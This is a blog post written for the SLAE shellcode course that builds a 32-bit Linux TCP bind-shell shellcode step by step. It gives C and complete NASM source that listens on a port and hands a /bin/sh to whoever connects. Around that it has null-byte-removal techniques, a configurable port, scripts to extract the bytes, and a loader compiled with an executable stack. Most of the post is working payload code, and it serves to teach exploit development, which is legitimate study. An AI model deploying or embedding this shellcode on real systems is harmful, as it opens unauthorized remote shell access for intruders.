A1 – Shell Bind TCP

The first assignment of the SLAE course is to create a working Shell Bind TCP shellcode. First of all, you might have some questions:

What does „shellcode” mean?
The „shellcode” is a tiny program, a machine code, which has a very specific goal. This code can be executed by the CPU directly, thus the code has to be binded to a CPU architecture – in this case to IA-32 (32bit architecture of Intel).

What is „Shell Bind TCP”?
The purpose of a Shell Bind TCP shellcode is to open a TCP port, listens on it, and starts a shell when someone (typically the attacker) connects to this port. In this case the attacker gets a shell with the rights of the process which has started the shellcode.

Let’s start!

Shellcodes are usually compiled from assembly code, but to see clear, we should write the code in a higher level programming language, for example in C. In order to accomplish our task, we need the following parts:

  1. Creating a socket
  2. Bind it to an IP address and to a port
  3. Waiting for incoming connection and accept it
  4. Duplicate standard input / output / error channels and the socket for the new connection.
  5. Execute a shell

Now, let’s see our C code;

#include <unistd.h>
#include <stdlib.h>
#include <netinet/in.h>

void main() {
	// Create an IPv4 socket
	int sock = socket (AF_INET, SOCK_STREAM, 0);
	

	// Preparing bind address
	struct sockaddr_in addr;
	
	addr.sin_family = AF_INET;          // IPv4
	addr.sin_addr.s_addr = INADDR_ANY;  // 0.0.0.0 = any interface, any address
	addr.sin_port = htons (2222);	    // Port number
	
	int ret;

	// bind to the address, and waiting for connection
	ret = bind (sock, (struct sockaddr*)&addr, sizeof (addr));
	ret = listen (sock, 1);
	
	// accept incoming connection
	int client = accept (sock, (struct sockaddr*)NULL, NULL);

	// duplicate file descriptors
	// we need the
	//   socket = sock
	//   stdin  = 0
	//   stdout = 1
	//   stderr = 2
	// it is just a single loop, don't mind the other FDs between stderr and socket

	for (int i=sock; i>=0; i--) {
		dup2 (client, i);
	}

	// We can execute a shell now, using execve syscall
        // from this point the shell will take over the control,
	// so we don't need to call exit at the end.

	char *argv[] = { "/bin/sh", 0 };
	execve ("/bin/sh", argv, NULL);
}

Turn the code into assembly

How can we create the same functionality in assemby language? The answer is: with syscalls. Linux Assembly provides an interface for calling syscalls via interrupt 0x80. The rules for a syscall are easy:

  1. Put the syscall number into EAX
  2. First parameter into EBX
  3. Second parameter into ECX
  4. Fourth parameter into EDX
  5. After setting the registers, call interrupt 0x80
  6. The return value will be stored in EAX

On Linux systems the syscall numbers could be found in the /usr/include/i386-linux-gnu/asm/unistd_32.h file:

#define __NR_execve 11
#define __NR_dup2 63
#define __NR_socketcall 102

Hey, Houston! We have a problem! Cannot find socket(), bind(), listen() and accept()… But what is socketcall()? We can see it in its man page:

NAME
       socketcall - socket system calls

SYNOPSIS
       int socketcall(int call, unsigned long *args);

....

NOTES
       On a some architectures—for example, x86-64 and ARM—there is no socketcall() system call; instead socket(2), accept(2), bind(2), and so on really are implemented as separate
       system calls.

Okay, so we have to use socketcall() intsead of the others on IA-32 systems. As you can see, we have to put the syscall number (102 = 0x66) into EAX, socket call number into EBX, and a pointer to dwords into ECX (long is 32bit wide). We can easily provide a ponter to arguments if we are pushing those values on the stack, and then set ECX to the value of ESP (stack pointer). Please notice, that we have have to push the parameters in reverse order, because the whole stack is reversed.

Unfortunately, socketcall numbers are not well-documented, but with a little effort you can Google them:

socket = 1
bind   = 2
listen = 4
accept = 5

Ok, we are know everything we need, let’s write the assembly code for the networking-part of our shellcode:

global _start
	
section .text

	_start:
		;---------------------------------------------------------------
		; call socketcall for socket()
		; socket (AF_INET = 2, SOCK_STREAM = 1, 0)
		; push params in reverse order
		;---------------------------------------------------------------
	
		push dword 0
		push dword 1
		push dword 2
		
		mov eax, 0x66           ; socketcall
		mov ebx, 1              ; socket()
		mov ecx, esp            ; pointer to args
		int 0x80

		mov edx, eax            ; store return value in EDX	
		
		;---------------------------------------------------------------
		; call socketcall for bind()
		; socket nr moved to edx!
		; bind (sock, struct sockaddr* addr, length of addr)
		;---------------------------------------------------------------
		; create sockaddr
		push dword 0x0			; network address to bind is 0.0.0.0
		push word 0xae08		; port, reverse byte order, 2222
		push word 2	 			; AF_INET
		mov  ecx, esp			; store address in ecx
		
		push 16                 ; legth of struct sockaddr (what we have set + 8 bytes sin_zero)
		push ecx				; address of prepared sockaddr
		push edx                ; our main socket
		
		mov eax, 0x66           ; socketcall
		mov ebx, 2              ; bind()
		mov ecx, esp            ; pointer to args
		int 0x80

		;---------------------------------------------------------------
		; call socketcall for listen()
		; listen (sock, backlog)
		;---------------------------------------------------------------
		push byte 1				; we need to support one client only
		push edx                ; our main socket
		
		mov eax, 0x66           ; socketcall
		mov ebx, 4              ; listen()
		mov ecx, esp            ; pointer to args
		int 0x80

		;---------------------------------------------------------------
		; call socketcall for accept()
		; accept (sock, addr, addrlen) -> addr and addrlen could be null
		;---------------------------------------------------------------
		push dword 0x0			; addlen = NULL
		push dword 0x0			; address = NULL
		push edx				; our main socket
		
		mov eax, 0x66			; socketcall
		mov ebx, 5				; accept()
		mov ecx, esp			; pointer to args
		int 0x80

		mov ecx, edx			; store main socket nr in ECX (for loop)
		mov edx, eax			; store client socket nr in EDX
		
		;---------------------------------------------------------------
		; Assign stdin, stdout, stderr to new socket
		; new socketid stored in edx...
		; please notice that ecx loops over stderr, stdout, stdin
		;
		; int dup2(int oldfd, int newfd)
		;             EBX        ECX
		;---------------------------------------------------------------
		mov ebx, edx			; client channel
		duploop:
			mov eax, 0x3f		; dup2
			int 0x80			; syscall
			dec ecx				; decrease file descriptor (newfd)
			jns duploop			; jump to duploop if the ECX >= 0

Super, we are almost done! Now, we have to spawn a shell via the execve syscall.

int execve(const char *filename, char *const argv[], char *const envp[]);

Construct the syscall:

EAX = 0xb (11, execve)
EBX = pointer to the absolute path of the executable (char*, null terminated)
ECX = pointer to the arguments. argv[0] should contain the executable! Last value have to be NULL.
EDX = pointer to environment, this could be null in our case.

In order to construct the data and pointers, we are going to use the stack. Notice that the stack is reversed, so we have to reverse our strings too!

First of all, create the string for the shell. I have picked /bin/sh which would be hs/nib/ in reversed order. Of course we have to put a trailing zero – in front of the reversed string. We would not push the whole string byte-by-byte, so push it by double words.

The first 4 byte to push (trailing zero + hs/) will be 0x0068732f, the second part will be 0x6e69622f. Push them, and save the stack pointer to EBX.

Then we need to create an array of double words. The first element contains the address of the executable (stored in EBX), the second element has to be NULL. Push those values to to stack in reverse order! Push the NULL first! EDX should point to a NULL too, so we can reuse this part of the stack. Store the stack pointer in EDX, then push EBX to the stack, and store the stack pointer in ECX.

That’s all, we can call int 0x80 to spawn a shell!

		;---------------------------------------------------------------
		; Run /bin/sh with execve syscall
		;---------------------------------------------------------------
		
		mov eax, 0xb
		
		push 0x0068732f
		push 0x6e69622f
		mov ebx, esp
		
		push 0x0
		mov edx, esp
		
		push ebx
		mov ecx, esp
		
		int 0x80

Right now we can compile our assembly code, and run it. But we have to fetch the valuable part of the executable. The program named ‘objdump’ is really handy here. It can disassemble the compile object file, and shows the bytecode for every line of the assembly code as well. Using argument -d for disassemble, and ‘-M intel’ to show the assembly code in Intel format instead of AT&T.

csszabolcs@slae:~/SLAE/A1-ShellBindTCP$ objdump -d -M intel ShellBindTCP.o

ShellBindTCP.o:     file format elf32-i386


Disassembly of section .text:

00000000 <_start>:
   0:	6a 00                	push   0x0
   2:	6a 01                	push   0x1
   4:	6a 02                	push   0x2
   6:	b8 66 00 00 00       	mov    eax,0x66
   b:	bb 01 00 00 00       	mov    ebx,0x1
  10:	89 e1                	mov    ecx,esp
  12:	cd 80                	int    0x80
  14:	89 c2                	mov    edx,eax
  16:	6a 00                	push   0x0
  18:	66 68 08 ae          	pushw  0xae08
...

As you can see in the first few lines of the output, the shellcode has a few „bad characters”.

What is a bad character?

Bad character is a byte, which could lead to a failure of the shellcode. Typically, zero-byte is a bad character. There are many exploits which take advantage of unvalidated user inputs – usually strings. In general, C strings are terminated by a zero-byte, so our shellcode will fail in buffer overflow attacks – because the end of the code will be chopped down in case of a string copy.

Get rid of bad characters

The next task is to get rid of bad characters. I am going to optimize the code for smaller size as well. (smaller shellcode is better shellcode)

How could be the zero-bytes eliminated? Look at the objdump output again! Problematic commands are:

  • Setting 0 value
  • Moving a one-byte value into a larger register
    mov eax, 0x66 : EAX is a 4-byte register, so this will be mov eax, 0x00000066

The trick is in use of bitwise logical operands, for example XOR. If you XOR a value with itself, the result will be 0. Thus, we can replace mov <register>, 0 with xor <register>,<register>

In the second case, we have to avoid setting a one-byte value to a multibyte register. We can access the parts of the general registers:

Of course, we can do the same with EBX, ECX and EDX.

If we know that EAX has the value of 0x00, and want to set the value to 0x66, we can handle it by setting only the lowest byte of EAX – which is AL. The command mov al, 0x66 will not contain zero bytes.

We need one more trick! You might remember that we pushed /bin/sh + a trailing zero to the stack before the execve syscall. The trailing zero and ‘sh/’ transformed into a double word: 0x0068732f. The trailing zero could be pushed onto the stack separatedly, but ‘/bin/sh’ is only 7 bytes long. Thanks to Linux, we can duplicate any of the slashes in a command. For example /bin/sh is the same as //bin/sh or /bin//sh. Just try it on your linux box!

We have to modify the two dwords from ‘/bin/sh’ + 0x00 to ‘/bin//sh’. (in reverse order…)

csszabolcs@slae:~/SLAE/A1-ShellBindTCP$ echo -ne "hs//nib/"|hexdump -C
00000000  68 73 2f 2f 6e 69 62 2f                           |hs//nib/|
00000008

As you can see, we are going to push 0x68732f2f and 0x6e69622f to the stack.

Try to use as less commands as we can! One more trick: if you have the value X in a register, and need to put X+1 in it, use inc istead of mov because inc will be shorter in bytecode.

Here is the full code, with comments:

; BindShellTCP shellcode for SLAE
; version 2
; Shellcode contains bad characters (0)
; Shellcode length 102 bytes
	
global _start
	
section .text

	_start:
		;---------------------------------------------------------------
		; call socketcall for socket()
		; socket (AF_INET = 2, SOCK_STREAM = 1, 0)
		; push params in reverse order
		;---------------------------------------------------------------
		xor edi,edi				; preparing 0 values
		xor eax,eax
		xor ebx,ebx
		
		push ebx				; ebx = 0
		
		inc ebx					; ebx = 1
		push ebx

		inc ebx					; ebx = 2
		push ebx
						
		mov al, 0x66			; eax = 0, set lowest byte only
		dec ebx 				; ebx = 1
		mov ecx, esp
		int 0x80

		mov esi, eax			; we will store socket handle in esi
		
		;---------------------------------------------------------------
		; call socketcall for bind()
		; socket nr moved to esi!
		; bind (sock, struct sockaddr* addr, length of addr)
		;---------------------------------------------------------------
		; create sockaddr
		push edi				; network addr to bind (edi is still 0)
		push word 0xae08		; port, reverse byte order, 2222
		inc ebx					; AF_INET (ebx = 2)
		push bx
		mov ecx, esp			; store address in ecx
		
		xor eax, eax			; set eax to 0
		mov al, 16				; modify lowest byte only
		push eax
		push ecx
		push esi
		
		mov al, 0x66			; ebx is still 2!
		mov ecx, esp
		int 0x80

		;---------------------------------------------------------------
		; call socketcall for listen()
		; listen (sock, backlog)
		;---------------------------------------------------------------
		push byte 1
		push esi
		
		xor eax, eax			; set eax = 0
		mov al, 0x66
		mov bl, 4				; ebx = 2, have to overwrite only the lowest byte
		mov ecx, esp
		int 0x80

		;---------------------------------------------------------------
		; call socketcall for accept()
		; accept (sock, addr, addrlen) -> addr and addrlen could be null
		;---------------------------------------------------------------
		push edi				; addrlen (edi is still 0)
		push edi				; addr (edi is still 0)
		push esi				; socket handle
		
		mov al, 0x66			; if listen was succeded, 0 returned in EAX
		inc ebx					; ebx = 3
		mov ecx, esp
		int 0x80

		;---------------------------------------------------------------
		; Assign stdin, stdout, stderr to new socket
		; new socketid stored in eax...
		; please notice that ecx loops over stderr, stdout, stdin
		;---------------------------------------------------------------
		mov ecx, esi			; start the loop from the socket handle
		mov ebx, eax			; client handle
		duploop:
			xor eax, eax		; set eax = 0
			mov al, 0x3f		; overwrite only the lowest byte
			int 0x80
			dec ecx				; decrement file descriptor to duplicate
			jns duploop

		;---------------------------------------------------------------
		; Run /bin/sh with execve syscall
		;---------------------------------------------------------------
		push eax				; after the loop it should be 0!
								; dup2 gives back the new fd
		push 0x68732f2f			; hs//
		push 0x6e69622f			; nib/
		mov ebx, esp
		
		push eax
		mov edx, esp
		
		push ebx
		mov ecx, esp
		
		mov al, 0xb
		int 0x80
			

Configuring the port number

There was a line in our assembly source, which is responsible for listening on a specific port:

push word 0xae08		; port, reverse byte order, 2222

The port should be easily configured. We have several ways to do it. The first way is to check the shellcode, and search for this part. If we know the correct position of this port number, we can write a wrapper script to exchange this word value to another.

The other way is to append the port number at the end of the shellcode. The code will be slightly bigger, but I would like to show you the method named jump-call-pop.

The main idea is to create a short jump to a specific label in the code. The next instruction after the label will be a „call”, and after the call we can define a 2-byte „variable”. The call method will push the address of the next instruction (means our variable at the moment) to the stack, so we can read the information stored here.

To use this jump-call-pop method, we have to modify our code a little:

First of all, we have to define our „variable” at the end of the code. Let’s append the following to the end:

	port_config:
		call port_configured
		db 0x00,0x00

You may be surprised: why am I using tipically „bad characters” – zero bytes in the code? The reason is that the compiler will strip those zero-bytes from the end of the code – thus we can simply append the new port number to the binary shellcode instead of replacing it.

The „push word 0xae08” line had to be replaced with the following code:

		jmp short port_config
	port_configured:
		pop edi
		push word [edi]		    ; port number from stack

Just to see clear, the process is the following:

  1. Short jump to port_config
  2. Call to port_configured (the address of the port variable will be on the top of the stack)
  3. Get the address of port number from stack
  4. Push the value stored on this address to the stack

Compiling the shellcode

Further than compiling, we should configure the port as well. I have written a small shell script, and a PHP script to compile and configure the code. (PHP is used because I am familiar with it, and the conversion is much easier than in a shell script.)

The config.php gets a decimal port number as first argument, splits the value into bytes. If any of the bytes is 0x00, the script has to indicate the error. If everything is allright, we can return the port number in binary format:

<?php

$low = $argv[1] % 256;
$high = floor($argv[1] / 256);

if ($low == 0 || $high == 0) {
    exit (1);
}
echo chr($high).chr($low);

We also need some shell-magic to fetch the shellcode from an object file. You can find it on commandlinefu.com. I have inserted the code into the getshellcode.sh script.

#!/bin/sh

objdump -d $1|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s #|sed 's/^/"/'|sed 's/$/"/g'

I have also written the compile.sh shell script. This is for compiling the ASM source into an object file, then fetch the shellcode from to compiled binary, and finally append the port number to the shellcode. The final shellcode will be stored in <filename>.i32 file

Usage: compile.sh <assembly file name without .nasm extension>

#!/bin/bash
echo "[+] Compiling $1.nasm"
nasm $1.nasm -f elf32 -o $1.o
echo "[+] Fetching shellcode..."
echo -ne `./getshellcode.sh $1.o` >$1.i32
echo "[+] Configure..."
ret=1
while true; do
    echo -ne "    Enter port number: "
    read port
    php ./config.php $port >>$1.i32
    if [ $? -ne 1 ]; then
	# if the exit code was 0 - success, we can exit the loop
	break;
    fi
    echo "    [!] ERROR: contains null-byte"
done
echo "[+] DONE!"

Testing the shellcode

To test the code, I have written a small C application. This app reads the shellcode from a file (filename passed as an argument), put the shellcode in the memory and pass the control to it.

This small test application should be compiled with this command:

gcc ./shellcode.c -fno-stack-protector -z execstack -o shellcode

The source code for the test application:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char* argv[])
{
	if (argc < 2) {
		printf ("Usage: shellcode <filename>\n");
		return 1;
	}

	char* code;
	
	printf("Shellcode file: %s\n", argv[1]);
	FILE* f = fopen (argv[1], "rb");
	fseek (f, 0, SEEK_END);
	long size = ftell (f);
	
	code = malloc (size);
	
	fseek (f, 0, SEEK_SET);
	fread (code, 1, size, f);
	fclose (f);
	
	printf("Shellcode Length:  %d\n", strlen(code));
	
	int (*ret)() = (int(*)())code;
	ret();
}

Proof of concept

a1


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-768

Vélemény, hozzászólás?

Az e-mail címet nem tesszük közzé. A kötelező mezőket * karakterrel jelöltük